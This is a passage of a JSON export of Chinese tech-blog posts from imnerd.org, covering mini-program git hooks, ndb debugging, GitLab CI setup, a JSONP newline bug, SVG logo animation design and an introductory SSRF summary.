用于创建DNS重绑定攻击的前端JavaScript工具包》\n","count":2241,"date":"2018年09月10日","featuredImage":"https://imnerd.org/assets/migration/p1.ssl.qhimg.com/t0161b57fc393470c99.png","permalink":"https://imnerd.org/web-security-vulnerability-ssrf.html","summary":"\u003ch2 id=\"什么是-ssrf\"\u003e什么是 SSRF\u003c/h2\u003e\n\u003cp\u003e大家使用的服务中或多或少是不是都有以下的功能：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e通过 URL 地址分享内容\u003c/li\u003e\n\u003cli\u003e通过 URL 地址把原地址的网页内容调优使其适合手机屏幕浏览，即所谓的转码功能\u003c/li\u003e\n\u003cli\u003e通过 URL 地址翻译对应文本的内容，即类似 Google 的翻译网页功能\u003c/li\u003e\n\u003cli\u003e通过 URL 地址加载或下载图片，即类似图片抓取功能\u003c/li\u003e\n\u003cli\u003e以及图片、文章抓取收藏功能\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e简单的来说就是通过 URL 抓取其它服务器上数据然后做对应的操作的功能。以 \u003ca href=\"https://thinkjs.org\"\u003eThinkJS\u003c/a\u003e 代码为例，我们的实现方法大概如下：\u003c/p\u003e","time":5,"title":"Web安全漏洞之SSRF"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"遇到的问题 在小程序开发过程中，代码提交突然变成了一件非常头疼的事情。因为小程序的开发、编译、预览到最后的上传发布过程中，任何一步其实都和 Git 没有任何关系。所以之前自己一个人开发的时候，经常性的就忘记了 commit 代码，亦或是 commit 了但是没有对远端进行 push 操作。一个人开发的时候还好，多个人开发的时候再是这种操作习惯可就要把人坑惨了。\n另外还有一个问题是，小程序的发布对 Git 没有强相关，所以对代码分支的要求不高。一般说来，日常的 Web 开发中，我们都是在 dev 或者 feature/xxx 分支中进行开发，test 分支进行测试，最后 master 分支合并后上线。能够严格的执行这个过程的最重要的原因是因为我们的发布系统只支持从主分支上拉取代码，强制让大家养成了良好的习惯。但是小程序中没有这种强相关，所以会经常导致主分支不是最新的版本，而可能是某个其它分支才是线上最新代码。长久以往下去，可能没有同学能够清楚最新的代码是在哪个分支了，一不小心就把分支给删除了也有可能。\n解决方法 虽然说微信开发者工具目前已经内嵌了版本管理功能，但是我试了一下似乎并不能解决我的问题。后来我发现小程序是支持自定义预处理命令的，提供了 beforeCompile，beforePreview 和 beforeUpload 三个预处理钩子，分别在编译前、预览前和上传前触发。所以我就想利用这个钩子，在上传前判断当前仓库的状态，如果不符合要求就组织上传。目前我主要是做以下三种操作：\n判断当前仓库是否有代码没有 commit，避免上线的版本有未提交的代码 判断当前仓库是否是 master 分支，避免上线的版本非主分支代码 推送当前分支代码到远端，避免其它协作者无法拉取到线上最新的代码 具体的代码如下：\n#! /usr/bin/env sh # 检查分支是否为主分支 br_name=$(git symbolic-ref --short HEAD); if [ $br_name != \u0026#34;master\u0026#34; ] then echo \u0026#34;[错误]当前分支名为 $br_name 但是上传包必须是在 master 分支\u0026#34;; exit 42; fi # 检查分支上是否有未提交的代码 if [[ ! -z $(git status --porcelain) ]] then echo \u0026#34;[错误]你有未提交的代码，上传包前请将代码提交到仓库\u0026#34;; exit 42; fi # 最后自动提交到远端仓库 git push; 其中 exit 42 表示是异常退出，微信开发者工具监听到异常退出后会中止上传进程，你也可以是别的非0错误号，更多的错误号可以查看 torvalds/linux 仓库。\n最后我们还需要在微信开发者工具-详情中勾选启用自定义处理命令，并在上传前预处理中输入 ./bin/beforeUpload 地址，该地址即为刚才你的脚本所在位置。如果是修改 project.config.json 文本内容添加的，还是需要在微信开发者工具中手动勾选下启动自定义处理命令，默认开发者工具是不开启这个选项的（来源）。\n{ \u0026#34;scripts\u0026#34;: { \u0026#34;beforeCompile\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;beforePreview\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;beforeUpload\u0026#34;: \u0026#34;./bin/beforeUpload\u0026#34; } } 后记 设置完毕之后，当你不符合条件的时候就会报错，从而达到了我强制与 Git 绑定的需求，避免线上代码在某个同学的本地停留，保证远端代码与线上代码的一致性。当然有了这些钩子，你也可以做更多有趣好玩的事情，欢迎大家分享。\n","count":1120,"date":"2018年09月09日","featuredImage":"https://imnerd.org/assets/migration/p3.ssl.qhimg.com/t0175c5aded487815fa.png","permalink":"https://imnerd.org/miniprogram-force-git-commit.html","summary":"\u003ch2 id=\"遇到的问题\"\u003e遇到的问题\u003c/h2\u003e\n\u003cp\u003e在小程序开发过程中，代码提交突然变成了一件非常头疼的事情。因为小程序的开发、编译、预览到最后的上传发布过程中，任何一步其实都和 Git 没有任何关系。所以之前自己一个人开发的时候，经常性的就忘记了 commit 代码，亦或是 commit 了但是没有对远端进行 push 操作。一个人开发的时候还好，多个人开发的时候再是这种操作习惯可就要把人坑惨了。\u003c/p\u003e","time":3,"title":"小程序开发工具强制 Git 提交"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"代码调试按照调试方式大致分为**日志（Log）和断点（Breakpoint）**两种办法。其中日志就是手动的在代码中增加日志打印获取过程信息来判断问题。这种方法的好处是调试简单，一个对业务熟练的工程师通过线上良好的日志记录可以非常快的发现业务问题。但是它的缺点也非常明显，获取的内容比较单一，动态调试需要不断的在业务中增加日志打印代码。\n于是乎断点调试出现了。断点调试类似于中医的望闻问切，我们通过在需要观察的点打上断点就能详细的获取到程序运行到该点时的所有上下文，并利用单步调试逐一观察程序运行状况，准确判断出问题的地方。另外利用 Chrome DevTool 我们也可以随时对线上业务进行调试，可以说是非常方便了。\nV8 Inspector 在前端使用 Chrome DevTool 进行断点调试已经是非常成熟了，在 Node.js（6.3+） 中也自带了一个类似的调试器，主要是在 Node 内部实现了一套 v8 调试器通信协议。启动的时候添加 --inspect 参数，我们就能得到 Chrome DevTools 调试界面了，剩下的调试过程就和正常的 Chrome 调试是一样了。\n使用 --inspect 调试极大的方便了 Node.js 开发，让服务端调试也有了类似前端调试一样的体验。除了直接打开 DevTools 调试，VSCode, WebStorm 等开发工具也将其集成到了编辑器中，不过内部的原理是类似的。不过人无完人，在使用过程中 Node Inspector 调试也存在着一些缺点：\n需要在 node 命令后增加 --inspect 参数，对于一些第三方命令启动无法直接支持调试，例如 webpack, ava, mocha\u0026hellip; 多进程调试非常的麻烦，特别是子进程频繁的销毁的时候，需要外部手动的监听进程的创建并手工将进程和调试工具进行通信对接 注： 虽然 VSCode 使用的是 Inspector Protocol 模式，不过在 1.22 的版本中已经能够自动绑定多进程监听端口了，具体的话可以查看天猪大大的《VSCode 调试 Egg 完美版》。\nndb 两周前 Chrome 实验室开源了一款新的调试工具，也就是我们今天的主角 —— ndb。它提供了更良好的调试体验，正如官方仓库所说，它为我们带来了如下一些特性：\n子进程自动检测和调试接入 支持在模块加载前进行断电 支持在调试工具中直接编辑文件，保存后自动更新到本地文件 默认情况下，ndb 会对引用的所有项目文件夹外的脚本开启黑盒模式让我们能更专注业务代码。项目文件夹外的脚本包括 Node.js 自带的模块文件（例如 _stream_wrap.js, async_hooks.js, fs.js 等）。当然你可以在设置中修改“Blackbox anything outside working dir”配置来关闭这个功能。 安装 npm install -g ndb 首先要确保你的 Node.js 环境 \u0026gt;= 8.0.0，然后使用 npm install 就可以非常方便的完成安装。由于 ndb 依赖 Puppeteer 安装过程中会去下载 Chromium 所以下载过程可能会有一定的时间，请各位同学耐心等待。如果有碰上权限问题官方提示可以尝试增加 --unsafe-perm=true --allow-root 参数解决。\n使用 不同于 node --inspect 的复杂使用，ndb 的使用方式非常的简单。在所有你想要进行调试脚本执行前加入 ndb 命令即可，甚至还能直接使用 ndb 命令启动脚本。以下是从仓库示例中引用的一些启动方式：\nndb node server.js ndb npm run test ndb mocha ndb . 和 --inspect 一样，执行命令后就会弹出 Chrome DevTools 调试界面。在这个特制的调试界面中，你可以：\n断点调试，异步方法单步调试 控制台预执行显示(需要 Node.js \u0026gt;= 10） JS 样本分析 内存分析 本地终端 使用 ndb 进行 ThinkJS 调试 下面以基于 ThinkJS 开发的 Node.js 项目 Firekylin 为例，简单看看如何使用 ndb 进行断点调试。\n可以看到基本上调试的流程非常的简单，并且自动适配了多进程项目（视频中启了8个进程），解决了之前使用 --inspect 的两个问题。另外在底部的控制台由于是 REPL 环境，可以实时获取到断点处当前环境的数据，例如我们可以打印 process.memoryUsage() 查看当前的内存使用情况。\n除了断点调试之外，ndb 也支持内存和性能分析，可以帮助我们分析内存泄露和。具体的也可以参考一下官方文档《Chrome DevTool 解决内存问题》。\nndb 的问题 还是那句话人无完人，ndb 目前使用下来还是觉得有一点不太舒服的地方。主要是表现在文件更新方面，目前代码编写还是在代码编辑器中，调试需要到 ndb 界面上，频繁的切换感觉有点不爽。希望后续 VSCode 能尽快将 ndb 引入替换现有的调试工具就非常方便了。\n有同学会说为什么不在 ndb 上直接编辑文件呢，毕竟支持文件编辑保存也是 ndb 作为调试工具的一大特色。这是因为在多进程环境下每个进程的调试是相互独立的，你在一个进程上的文件修改只能反映在这个修改的进程上，不能在所有进程上生效，和我们本地操作文件不太一样，使用上需要注意。不过这个也比较好解决，调试的时候只开启一个进程就可以了。\n后记 Node.js 已经有越来越多的工具可以帮助我们进行断点调试了，从早期的 Debug Protocol 到前两年开始支持的 V8 Inspector Protocol 到现在的 ndb，我们看到了技术正在一步步的朝前走着，当然我们这里需要先感谢下 Chrome 工程师们，感谢他们开发出了这么棒的工具。当然除了断点单步调试之外，日志调试也有它存在的必要，两者可以相辅相成没有孰好孰坏之分。\n最后，送一张图给大家祝大家新的一周改BUG顺利~\n参考资料：\n《Supercharge your debugging experience for Node.js》\n《DevTrends #32: ndb, what\u0026rsquo;s new in Chrome 68》\n","count":1910,"date":"2018年08月04日","featuredImage":"https://imnerd.org/assets/migration/p4.ssl.qhimg.com/t01e44d936d6e20ba55.png","permalink":"https://imnerd.org/debug-with-ndb.html","summary":"\u003cp\u003e代码调试按照调试方式大致分为**日志（Log）\u003cstrong\u003e和\u003c/strong\u003e断点（Breakpoint）**两种办法。其中日志就是手动的在代码中增加日志打印获取过程信息来判断问题。这种方法的好处是调试简单，一个对业务熟练的工程师通过线上良好的日志记录可以非常快的发现业务问题。但是它的缺点也非常明显，获取的内容比较单一，动态调试需要不断的在业务中增加日志打印代码。\u003c/p\u003e","time":4,"title":"使用 ndb 调试你的 Node.js 项目"},{"comments":{"data":[13],"errmsg":"","errno":0},"contents":"公司内部使用的是 Gitlab 仓库套件管理项目代码，之前把玩过的 Drone CI 是可以很好的支持 Gitlab 的，前提是需要在 Gitlab 中申请一个管理员权限的密钥方便其读取项目目录并设置 Webhook 等操作。而公司的 Gitlab 仓库权限管理很严格，我暂时还没有权限申请这个就只能放弃了。最近他们使用 Gitlab 8 （不要问我为什么是这么早的版本毕竟我们一直都在用7的）搭建了一个新的仓库，自带支持了 Gitlab CI 的功能，于是就拿来试了下。\nGitlab CI 整个流程和 Drone 以及流行的 Travis CI 都是比较类似的，通过在项目中添加一个 .gitlab-ci.yml 的配置文件，配置文件中描述构建流水线来执行任务。有的同学说为什么不试试 Jenkins，那 Jenkins 的配置那么的复杂反正我是拒绝的。\n安装 Gitlab Runner 由于构建任务是一个非常消耗性能的行为，所以 Gitlab 将构建任务的执行单独拆分出来，Gitlab 本身只是用来派发任务，而 Gitlab Runner 脚本才是用来真正执行任务的。这样做能将性能压力从 Gitlab 中拆分出来，不影响主仓库的正常运行，同时也为支持多机分布式构建任务打下了基础。\n安装 Gitlab Runner 很简单，不过需要注意的是不同的版本对应的是不同的 Runner。Gitlab 10- 对应的版本叫 Gitlab CI Multi Runner，Gitlab 10+ 之后 Runner 修改了名字为 Gitlab Runner 了。Gitlab Runner 的安装教程直接参考官方文档即可。如果是想我一样的老版本需要安装 Gitlab CI Multi Runner 的话需要将第一步的编译文件下载地址换成老版本的地址，具体的地址可以访问 Gitlab CI Multi Runner 1.11.5 这里查到。\n新旧版本主要是 RESTful 接口发生了变化，如果你的 Gitlab 是老版本的，Gitlab Runner 是新版本的话，注册的时候就会报 405 的错误。\nERROR: Registering runner... failed runner=\u0026lt;token\u0026gt; status=405 Method Not Allowed PANIC: Failed to register this runner. Perhaps you are having network problem 注册 Gitlab Runner 安装启动完毕之后就需要将 Gitlab Runner 与 Gitlab 进行关联了。\n打开你 GitLab 中的项目页面，在项目设置中找到 runners 运行 sudo gitlab-ci-multi-runner register 输入 CI URL 输入 Token 输入 Runner 的名字 选择 Runner 的类型，简单起见还是选 Shell 吧 在注册的过程中除了会让你输入 Gitlab CI URL 和仓库 Token 之外，还会让你选择是否只允许 git tag 操作才能触发构建任务，以及是否只允许本仓库独享该 Runner。而 Runner 类型可选的也比较多，总的分为实体机执行（SSH，Shell）和虚拟机执行（VirtualBox，Parallels，Docker，Kubernetes）两大类。其中虚拟机执行需要配置虚拟机相关的一些参数，好处是每次执行都是相对干净的环境，多次执行不会受到影响。关于各种 Runner 执行器的区别可以参考 Gitlab 官网文档 Excutors，有表格非常详细的讲述了各种执行器的区别和优缺点。\n我这里选择了最简单的 Shell 类型，不需要输入任何参数即可完成注册。Shell 注册类型本质上就是使用 Gitlab Runner 对应的启动用户（默认是 gitlab-runner）执行对应的构建任务命令。所以执行过程中可能需要注意一下权限之类的问题，如果发现任务执行失败了也可以手动上机器切换到对应账户执行下任务命令调试。Runner 注册完成之后你就可以在 Gitlab 仓库 http://\u0026lt;仓库地址\u0026gt;/runners 页面看到你刚注册的 Runner 了。\n编写构建任务 环境都部署好之后接下来就是编写构建任务了。我尝试编写了一个非常简单的构建任务。首先我们在仓库的根目录下新建一个 .gitlab-ci.yml 的文件，文件内容如下：\nstages: - deploy_test deploy: stage: deploy_test only: - test script: - sh ./bin/deploy.sh stages 定义该仓库构建任务里有一个 deploy_test 的构建接单（可以指定多个构建阶段），多个构建阶段会按照先后顺序执行任务。然后我定义了一个名为 deploy 的任务，这个任务属于 deploy_test 构建阶段。且该任务仅在 test 分支发生提交的时候才会触发，触发后会执行 sh ./bin/deploy.sh 这个 shell 命令。在 deploy.sh 这个脚本中我编写了更新测试环境的相关的代码，最终完成了只要 test 分支提交代码就自动帮我们更新测试环境的目的。\n怎么样？非常简单吧。这就是一个非常简单的构建任务编写的示例了。除了以上关键字之外，.gitlab-ci.yml 还支持其他的一些关键字，具体可以参考文档 Configuration of your jobs with .gitlab-ci.yml。\n后记 本文主要是讲了一下如何部署 Runner 以及简单的构建任务的编写。Runner 注册的话图简单我这里选择了 Shell，那其实还是更推荐大家使用 Docker 之类的虚拟环境来执行这样构建任务的环境因素影响能降低到最小。而构建任务编写这块我也仅仅只是举例了一个自动更新测试环境而已，其实大家还可以做非常多的事情。例如提交代码后自动执行测试、提交代码后自动执行编译构建、自动发送相关邮件通知等等。大家可以发挥想象尽情使用 CI 完成一些自动化操作。\n","count":1726,"date":"2018年07月08日","featuredImage":"https://imnerd.org/assets/migration/p5.ssl.qhimg.com/t01547513fa9b8dc28a.png","permalink":"https://imnerd.org/fist-sight-with-gitlab-ci.html","summary":"\u003cp\u003e公司内部使用的是 Gitlab 仓库套件管理项目代码，之前把玩过的 \u003ca href=\"https://imnerd.org/drone.html\"\u003eDrone CI\u003c/a\u003e 是可以很好的支持 Gitlab 的，前提是需要在 Gitlab 中申请一个管理员权限的密钥方便其读取项目目录并设置 Webhook 等操作。而公司的 Gitlab 仓库权限管理很严格，我暂时还没有权限申请这个就只能放弃了。最近他们使用 Gitlab 8 （不要问我为什么是这么早的版本毕竟我们一直都在用7的）搭建了一个新的仓库，自带支持了 Gitlab CI 的功能，于是就拿来试了下。\u003c/p\u003e","time":4,"title":"初探 Gitlab CI"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":"话说最近真是流年不利，感觉各种BUG犹如天灾一样全部冒出来了，这不昨天又解了一个非常无语的问题，大概是关于换行和正则的臭虫，下面给大家吐槽一下。\n数据“野”了 昨天同事反馈某个页面的数据没有正常显示，最开始我还以为是接口没有返回数据，结果看了下请求发现接口有正常的数据呀。没办法就一路反查回去，最后查到居然代码里接口请求抛错了？！因为定义了 Promise 的 catch 流程，所以也没有把错误抛出来。因为之前这个页面都是正常的，很久都没有改动所以我第一反应是这个数据异常了，查了半天的数据格式问题。可是问题就在于明明看到数据是正常的呀，服务端没有报错，接口数据也是可以正常解析的。最后我突然想起来，我们的接口是 JSONP 的会不会是 JSONP 功能挂了？查了一下果然是这样。\n我们都知道 JSONP 需要定义一个 callback 回调名称，最后数据加载的时候执行这个回调返回数据才算成功。可以看到图里面虽然加了 callback=? 但是并没有对 ? 进行替换，服务端那边应该也是增加了校验这种情况下并没有给我们添加回调方法名。实际上服务端这里的处理都是没问题的，因为即使 ? 被添加到数据里了也会有问题，因为 ? 是逻辑运算符并不能被定义成变量。而没有加回调方法的后果就是虽然接口返回正常，但是最终数据没有人接收就“野”了。\n我的回调呢？ 我们在内部是使用了 zepto 这个基础库的。由于添加回调方法名并做替换肯定是 zepto 内部的行为，所以当我查到这的时候我都懵了。难道一年难遇一次国际知名库的 BUG 就这样被我水逆的碰到了？怀着一脸惊讶的表情我打开了 zepto 的文件继续查了下去。最终我发现还真是 zepto 里面 callback=? 没有替换成功。定义好 callback 方法之后 zepto 里面是这么去替换接口地址的参数的：\n// https://github.com/madrobby/zepto/blob/master/src/ajax.js#L121-L126 window[callbackName] = function(){ responseData = arguments } script.src = options.url.replace(/\\?(.+)=\\?/, \u0026#39;?$1=\u0026#39; + callbackName) document.head.appendChild(script) 通过正则匹配到两个 ? 后并替换最后一个 ? 为回调方法名。最开始我一直没绕过来，我在想这特么是什么骚操作？能匹配到 callback=? 么？?callback=? 是可以匹配到，万一这个东西在后面 \u0026amp;callback=? 不就挂了么？最后才反应过来它这么做是直接匹配了整个地址后的 query，忽略了参数名称直接匹配 ?。对于这种操作，我只能说：\n\b那么在当前的情况下这种操作会有什么问题呢，我怀着不服输的精神又查了下去。结果我发现在这种情况下这个正则居然跪了！最后我在这打印出来看，发现传进去的 URL 里面多了一个回车符，导致这段正则失效了。因为我们知道正则里面的 . 元字符是匹配除了回车符以外的所有字符。（这无语的BUG\u0026hellip;果然水逆就算是啥也不干问题也会自动找上门啊\u0026hellip;\n当我查到这的时候我就思考了两个问题：\n\b这个回车从哪里来的？参数里怎么会有回车？因为这个参数是直接从当前页的 URL 获取的，所以是我们在拼接的时候操作的有问题，还是\b服务端下发的当前地址就有问题？ 为什么到了最后 URL 地址这还有回车，正常情况下到这步的时候应该库都会对其进行转码编译了，例如回车符会被编成 %0A 这样其实 zepto 内部再处理就没有问题了呀？所以是哪里给漏编码了呢？ 哪里来的回车符 顺着上面两个问题，由于第一个问题的成本比较低，先看了下回车符哪里来的问题。我优先看了下当前地址，发现在当前地址的时候已经有问题了。而其他路径进入的这个页面都是正常的，只有\b这个特殊情况下有问题，遂反馈给服务端反查一下。最后服务端(PHP)那查到原来是因为他们读取文件时按行分割没有注意到方法里会带着换行的问题。\n大概就是服务端那会有一个 token 文件，里面按行记录着一堆 ID，服务端会使用 file() 读取这个文件，然后将每个 ID 都 map 成一个地址下发下去。\b使用 file() 的好处是它在读取文件的时候能自动输出一个按行分割后的数组，这样就不需要额外操作。不过服务端同学没有注意，PHP 文档里也非常清楚的写明了：\nNote:\nEach line in the resulting array will include the line ending, unless FILE_IGNORE_NEW_LINES is used, so you still need to use rtrim() if you do not want the line ending present.\nvia: http://php.net/manual/zh/function.file.php\n也就是说这种方法默认分割后的数组每个数据是包含最后的那个换行符的！想要去掉换行符需要添加 FILE_IGNORE_NEW_LINES 的标记参数。我自己也试了下发现果真如此！可以看到数组的前三个里面字符串的长度都是 4。\n最后服务端从来源上解决了这个问题。\n为什么没被转义 虽然问题解决了，但是我的第二个疑问其实还没有被解决。本来应该被转义的字符为什么没有被转义？是道德的沦丧还是人性的泯灭zepto 出问题了还是我们的代码里有什么潜在的风险？\n我先去检查了一下 zepto 自己本身，发现它们的所有数据拼接都没有问题，使用了 $.param() 方法，而该方法内是使用了 escape() 对键值都做了编码的。zepto 出问题是不可能的了，那只能是我自己代码里的问题了。回到业务代码里查了一圈，最后发现，在某个阴暗的角落，居然窝藏了这么一段代码：\ndata.topicListApi = location.protocol + `//imnerd.org/detail?u=${uid}\u0026amp;sign=${sign}\u0026amp;n=10\u0026amp;tid=${tid}${onlineTypeParam}${tagParam}${rawUrlParam}${topUrlParam}`; 这一堆参数不经过任何编码就直接进行字符串拼接的操作\u0026hellip;\n后记 好啦，问题的来龙去脉前因后果总算是查清楚了。虽然这里面有各种坑，虽然服务端已经帮忙处理了，但是我明白最主要的问题还是最后的那个前段拼接的问题。所以我以血泪的历史告诉大家 URL 拼接一定要编码别搞什么骚操作啊！同时后面我 git blame 查了下写这个代码的同学，虽然离职了\u0026hellip;但是我还是想\u0026hellip;\n","count":2008,"date":"2018年06月16日","featuredImage":null,"permalink":"https://imnerd.org/jsonp-lf-bug.html","summary":"\u003cp\u003e话说最近真是流年不利，感觉各种BUG犹如天灾一样全部冒出来了，这不昨天又解了一个非常无语的问题，大概是关于换行和正则的臭虫，下面给大家吐槽一下。\u003c/p\u003e","time":5,"title":"记一次换行引发的血案"},{"comments":{"data":[3],"errmsg":"","errno":0},"contents":"前段时间我开源了一个叫 Animaris 的项目，这个项目是使用 ThinkJS + MongoDB + React + Antd 开发的移动端 WebView 接口文档系统。平常大家见到的接口文档无非就是 HTTP API 接口文档，要么就是框架/库提供的接口方法文档。对于这种 WebView 的接口提供文档基本上没有。借着业务的需求我做了这么一个项目，用来解决以下两个问题：\n移动端接口编写并生成可视化文档 移动端接口前端开发环境模拟问题 如果有相关需求的同学也欢迎使用，感兴趣的同学也欢迎 star。咳咳，回到本文的重点，项目开发的差不多的时候我就准备给它设计一款 LOGO 了，以下是成品效果图。虽然我没有学过绘画没有很好的设计功底，但是我相信简单的形状也能发挥不错的效果，那么我就给大家讲讲我是如何设计这款 LOGO 的。另外由于动画效果有兼容问题，最好使用 Chrome 等现代浏览器查看本文哦~\n名字由来 讲 LOGO 之前我要先说一下项目名称。Animaris 的中文名为仿生兽，而仿生兽是一种利用风力来模拟生物动作的机械。\n仿生兽是由荷兰艺术家泰奥杨森（荷兰语：Theo Jansen）利用塑胶、木头等常见的无生物物体所创造，借由力学的原理和风力的推动 ，可以做出一些仿生物的动作，甚至可以自行躲避障碍物。\nvia: https://zh.wikipedia.org/wiki/仿生獸\n其实最开始这个项目名叫 WebViewMock 的，因为当时没有想到一个很好的名字，最后就用项目的功能来命名了，非常的贴切。后来是在刷微博的过程中有个人发了一个仿生兽的视频，我才想起来之前我也看过这个东西。灵机一动觉得仿生兽这个理念不是和 Mock 正好契合么，区别在于一个是模拟生物行为，一个是模拟接口行为。\n寻找素材 绘制 LOGO 一般都要和项目名或者项目功能做关联，既然项目名叫仿生兽那我的第一反应当然是画一个仿生兽试试啦！不过当我搜索了下仿生兽的图片后，这个方案就被我 pass 了，这需要画的细节也太多了吧！对我来说完！全！不！可！能！啦！\n不过既然实物不行我就看看有没有其它人画的简版学习一下，最终我找到了以下的素材，用几何线条描述了仿生兽的一只角的形状。那我觉得这个非常简单就能表达出寓意，应该还蛮适合我的。所以就准备基于这个形状进行下一步的加工。\n碎片拼接 因为这个项目是 Node.js 的项目，所以我都会想要将项目的 LOGO 和 Node.js 的 LOGO 六边形结合起来。因为之前做 LOGO 惯用的手法就是碎片拼接，所以当我看到素材的这个三角形块拼接在一块的时候第一反应就是可以先是六边形然后崩开变成仿生兽的肢体形状。\n正负设计 当然除了碎片拼接我也想尝试一点新的创意，也不知是不是最近 @优秀网页设计 上推荐的正负形设计比较多的原因，无意中我突然想到可以利用两只仿生兽肢体来组成一个六边形形状。虽然简单但是感觉要比之前的老思路更有设计感。\n平面正负形是设计上比较常见的手法，简单的原理就是一张图上将明暗两色系对调之后能出现另外一幅图的手法。文字解说可能大家不太好理解，大家如果看看下面这张图，是不是很好理解了。相信下面的图和类似的图大家在平常的生活中也看过不少。\n我觉得正负形给设计带来的最大的好处就是一个平面能画两种内容，两种内容可以相辅相成也可以形成鲜明的反差，最后将主旨突出的更明显。例如下面这张枪击事件的图，正面是枪，负面是人，相辅相成的效果让人更能理解枪支的可怕。\n关于更多正负形相关的内容可以参阅《一组创意正负形艺术插画》以及《正负形设计》。\n动画设计 确定好最终效果后，就要开始想象如何制作动画了。正如我之前在《SVG 动画实践》中所讲的那样，我一直坚信即使是简单的动画效果，只要你富有想象力，都是能做出很好看的动画的。那其实仿生兽的关节肢体第一下就让我想到了可以使用路径变形动画 来做。可以做一个模拟关节由直立变弯曲的过程，最终形成 LOGO。那初始动画的时候两个直立的肢体一上一下对称组合一下正好可以变成一个矩形。\n那其实初始动画的矩形其实没那么好的寓意，刚开始看的时候也没有那么好看。所以我想要改进一下初始动画的状态，于是乎我突然想到了 Animaris 里面的 A 字母，一左一右两个不正好就是两个肢体吗？另外当我在做这个动画的过程中我发现我之前是将两个肢体类似太极镜像的形式放置的，那如果我将两个直立的肢体按照 A 字母这样放置最终生成的东西会是什么样子呢？\n简单勾勒了一下发现效果还不错诶！于是乎最终就定案了初始形状是 A 最终变化成图示的这种形状的动画过程。\n矢量动画 方案定好之后就要上 Sketch 上构建矢量图形了，正如《SVG 动画实践》中所讲的那样，使用 CSS3 实现路径轨迹动画的话需要注意锚点数一致的问题，由于最终效果有两个关节，所以需要7个锚点。也就意味着最终 A 的 / 分支一笔也需要包含7个锚点。同时要保证绘制的形状位置是在同一个位置，这样能保证导出的 SVG 没有平移的效果。\nJS Bin on jsbin.com\n脑洞环节 当我画完这个 LOGO 之后我盯着它看了许久，觉得它好像什么东西。想了好久最后觉得这顶上的两个东西怎么这么像阿猫阿狗的耳朵！于是我按照猫咪的样子添了比较简单的耳朵还有胡须，奈何没有绘画天赋，中间的猫脸一直都没有画出来。由于中间的负形空间本来就是想要表达 Node.js 的官方 LOGO 的，最终我决定将 Node.js 的 LOGO 放到中间，完成了整体的设计。\nJS Bin on jsbin.com\n后记 以上就是一个简单的 LOGO 动画设计的过程，这个过程让我想起了昨天有同事说过的一句话“开局一张图，内容全靠编”。对应到我这次的动画设计里面还真是非常贴切了。整个的过程需要比较大的脑洞，当然支撑这些灵感的还是需要不断的在纸上绘制以及观察，注意身边的一些小细节，并将其运用到内容中。\n","count":2171,"date":"2018年06月03日","featuredImage":"https://imnerd.org/assets/migration/p0.ssl.qhimg.com/t01661b61a96c211c5e.png","permalink":"https://imnerd.org/animaris-svg-logo-design.html","summary":"\u003cp\u003e前段时间我开源了一个叫 \u003ca href=\"https://github.com/lizheming/animaris\"\u003eAnimaris\u003c/a\u003e 的项目，这个项目是使用 ThinkJS + MongoDB + React + Antd 开发的移动端 WebView 接口文档系统。平常大家见到的接口文档无非就是 HTTP API 接口文档，要么就是框架/库提供的接口方法文档。对于这种 WebView 的接口提供文档基本上没有。借着业务的需求我做了这么一个项目，用来解决以下两个问题：\u003c/p\u003e","time":5,"title":"Animaris SVG LOGO 动画设计"},{"comments":{"data":[5],"errmsg":"","errno":0},"contents":"小程序以免安装用完即走的特性自发布初就很火，即使是现在也是热度不减。小程序虽然是一个 HTML5，但是通过限制开发者的写法，提供一套自定义的组件以及写法，并且将一部分耗费性能的组件使用客户端渲染来极大的提高网页的性能。\n前段时间我们也进行了小程序的开发。由于是接手的项目，这个项目之前是没有使用框架，直接使用原生小程序开发的，开发过程中就发现有很多不方便的地方。例如 NPM, Promise 组件化等。最后我对 wepy, tinajs, labrador, mpvue 等多个框架进行了调研，最后决定使用 tinajs 对项目进行重构。选择 tinajs 的原因是它是基于小程序的语法，并没有多大的改造，学习成本非常低。同时它的渐进式概念让我能够循序渐进的接入框架，而不是一下子就要把它的所有概念都要学习下来，这对当时工期比较紧张的我来说是比较重要的。当然还有一个更重要的原因是，它的源码非常的简单，即使是出了问题我也能快速定位出来。\n不过即使是选择了一套正确的框架，碰到坑的情况也是在所难免的，小程序更甚。下面我就我这段时间碰到的一些比较经典的问题来说一下我碰到的一些问题。\n\b数据传输长度超过最大长度 我们是一个新闻流的项目，用户可以无限下拉加载数据，内部会使用一个数组将列表的数据存储起来。当我美滋滋的使用 tinajs 重构完项目后准备试试的时候，我就发现，当我加载数据超过一定数量限制（大概200条数据）之后，控制台就会报“输出传输长度超过最大长度”的错误。\n最后查了一下发现是小程序为了性能限制了一次渲染传输的数据量大小。最开始我以为是我的数据超过限制了，所以采取了精简不必要字段的办法将数据体积减小。不过在我缩减到不能再缩减的时候，发现依旧没什么卵用。后来就想到我的数据真的有这么大么，于是乎拿之前原生的测试了一下，发现刷到七百多条数据的时候也会提示这个错误。那么就可以证明我之前两百条数据的时候没有超过限制，同时我将数据 JSON 化并保存到本地文件里查看了一下，发现才150KB左右，远远没有达到上限。\n最后经过我和 tinajs 作者的逐一分析，发现可能是自定义组件的锅。因为我的列表元素有不同的样式，所以我使用了自定义组件去定义了不同的样式类型组件，部分组件又有公共的部分所以又要抽离出来变成组件，也就是说实际上我的列表是由一个多层嵌套的自定义组件循环渲染而成的。我们猜测最后小程序渲染的时候，每一个自定义组件传入的数据都会做一次拷贝，这样就导致了我本来 150K 的数据，瞬间就超过了它们的限制。\n最后解决的办法也非常简单，由于我其实大多数都是纯渲染的组件，所以组件内部的自定义组件我都是用 \u0026lt;template\u0026gt; 模板去渲染，这种情况下不会触发数据的拷贝试了下就没有问题了。当然除了我说的减少数据体积以及是用自定义模板代替自定义组件减少数据拷贝层级之外，我们还可以对数据进行分页操作来达到减少一次数据渲染的体积。\n滚动 我们的小程序有一个下拉刷新的功能，小程序自己官方是有封装 onPullDownRefresh 接口来帮助我们完成这个事。不过因为我们的下拉刷新是有自定义样式的，所以就没办法使用官方的接口了。最后做出来的效果大概如下所示：\n最开始我是使用了 \u0026lt;scroll-view\u0026gt; 组件来做滚动，同时使用 scrolltoupper 